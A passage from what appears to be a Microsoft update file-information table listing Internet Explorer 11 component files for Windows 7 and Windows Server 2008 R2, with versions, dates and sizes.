\nJscript9.dll.mui| 11.0.9600.19963| 27,648| 14-Feb-21| 0:34 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:35 \nJscript9.dll.mui| 11.0.9600.19963| 34,304| 14-Feb-21| 0:36 \nJscript9.dll.mui| 11.0.9600.19963| 33,792| 14-Feb-21| 0:36 \nJscript9.dll.mui| 11.0.9600.19963| 23,040| 14-Feb-21| 0:38 \nJscript9.dll.mui| 11.0.9600.19963| 22,016| 14-Feb-21| 0:39 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:39 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:40 \nJscript9.dll.mui| 11.0.9600.19963| 31,232| 14-Feb-21| 0:41 \nJscript9.dll.mui| 11.0.9600.19963| 34,304| 14-Feb-21| 0:42 \nJscript9.dll.mui| 11.0.9600.19963| 35,840| 14-Feb-21| 0:42 \nJscript9.dll.mui| 11.0.9600.19963| 32,768| 14-Feb-21| 0:43 \nJscript9.dll.mui| 11.0.9600.19963| 33,280| 14-Feb-21| 0:45 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:45 \nJscript9.dll.mui| 11.0.9600.19963| 34,816| 14-Feb-21| 0:46 \nJscript9.dll.mui| 11.0.9600.19963| 33,280| 14-Feb-21| 0:47 \nJscript9.dll.mui| 11.0.9600.19963| 32,256| 14-Feb-21| 0:47 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:48 \nJscript9.dll.mui| 11.0.9600.19963| 32,768| 14-Feb-21| 0:49 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:50 \nJscript9.dll.mui| 11.0.9600.19963| 30,720| 14-Feb-21| 0:51 \nJscript9.dll.mui| 11.0.9600.19963| 29,696| 14-Feb-21| 0:51 \nJscript9.dll.mui| 11.0.9600.19963| 16,384| 14-Feb-21| 0:52 \nJscript9.dll.mui| 11.0.9600.19963| 16,896| 14-Feb-21| 0:53 \nJscript9.dll.mui| 11.0.9600.19963| 16,896| 14-Feb-21| 0:54 \n \n### **Windows 7 and Windows Server 2008 R2**\n\n### \n\n__\n\nInternet Explorer 11 on all supported x86-based versions\n\n**File name**| **File version**| **Date**| **Time**| **File size** \n---|---|---|---|--- \nurlmon.dll| 11.0.9600.19963| 12-Feb-2021| 17:50| 1,343,488 \niexplore.exe| 11.0.9600.19963| 13-Feb-2021| 11:46| 810,376 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 31,744 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 39,424 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 32,768 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 37,376 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 38,400 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 30,720 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 35,328 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 36,864 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 25,600 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 24,576 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 36,352 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 35,840 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 34,816 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 33,280 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 34,304 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 20,992 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 21,504 \nwebcheck.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 21,504 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 46,592 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 56,320 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 57,856 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 49,664 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 47,616 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 49,152 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 55,296 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 45,056 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 39,424 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 35,840 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 53,760 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 54,272 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 51,200 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 53,248 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 52,736 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 51,712 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 50,688 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 50,176 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \nwininet.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \ninetcpl.cpl| 11.0.9600.19963| 12-Feb-2021| 18:12| 2,058,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 10,752 \nDiagnosticsTap.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 10,752 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 307,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 293,888 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 290,304 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 299,008 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 303,104 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 282,112 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 283,648 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 291,840 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 299,520 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 275,968 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 293,376 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 296,960 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 258,048 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 256,512 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 289,280 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 288,256 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 285,184 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 297,472 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 295,424 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 294,400 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 292,864 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 288,768 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 286,208 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 281,600 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 286,720 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 292,352 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 242,176 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 243,200 \nmshtml.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 243,200 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 73,728 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 74,240 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 78,848 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 74,752 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 62,464 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 75,264 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 61,440 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 72,192 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 73,216 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 41,472 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 37,888 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 67,584 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 74,240 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 70,656 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 71,168 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 71,680 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 71,168 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 69,632 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 68,096 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 59,904 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 65,536 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 69,120 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 29,696 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \nF12Resources.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 30,720 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:25| 60,416 \nDiagnosticsHub.ScriptedSandboxPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 18:26| 230,912 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 46,080 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 51,712 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 54,272 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 45,056 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 39,936 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 39,424 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 47,616 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 51,200 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 50,688 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 50,176 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 49,664 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 49,152 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 48,128 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 35,328 \nurlmon.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 35,328 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 11,264 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 9,216 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 7,680 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 10,752 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 9,728 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 10,240 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 6,656 \noccache.dll.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 6,656 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 17:53| 4,388,352 \njsproxy.dll| 11.0.9600.19963| 12-Feb-2021| 18:41| 47,104 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 114,176 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 124,928 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:50| 122,880 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 130,048 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:51| 138,240 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 13:20| 114,688 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:52| 131,584 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:53| 117,760 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:54| 122,368 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:55| 134,144 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:56| 107,008 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:57| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 127,488 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:58| 128,512 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 11:59| 88,576 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:00| 82,944 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:01| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 123,392 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:02| 120,320 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:03| 130,560 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:04| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:05| 125,952 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:06| 128,000 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:07| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:08| 129,024 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:09| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:10| 124,416 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 121,856 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:11| 115,712 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:12| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:13| 125,440 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:14| 72,704 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:15| 73,728 \ninetcpl.cpl.mui| 11.0.9600.19963| 13-Feb-2021| 12:16| 73,728 \niedkcs32.dll| 18.0.9600.19963| 13-Feb-2021| 11:46| 341,896 \ninstall.ins| Not versioned| 12-Feb-2021| 16:25| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2018| 6:18| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:48| 710,656 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:24| 73,728 \nDiagnosticsHub.DataWarehouse.dll| 11.0.9600.19963| 12-Feb-2021| 18:50| 489,472 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 18:59| 772,608 \nDiagnosticsHub_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:52| 38,912 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:29| 415,744 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 18:20| 280,064 \nMicrosoft-Windows-IE-F12-Provider.ptxml| Not versioned| 12-Feb-2021| 16:23| 11,892 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:47| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:48| 4,096 \nF12.dll.mui| 11.0.9600.19963| 13-Feb-2021| 11:49| 4,096 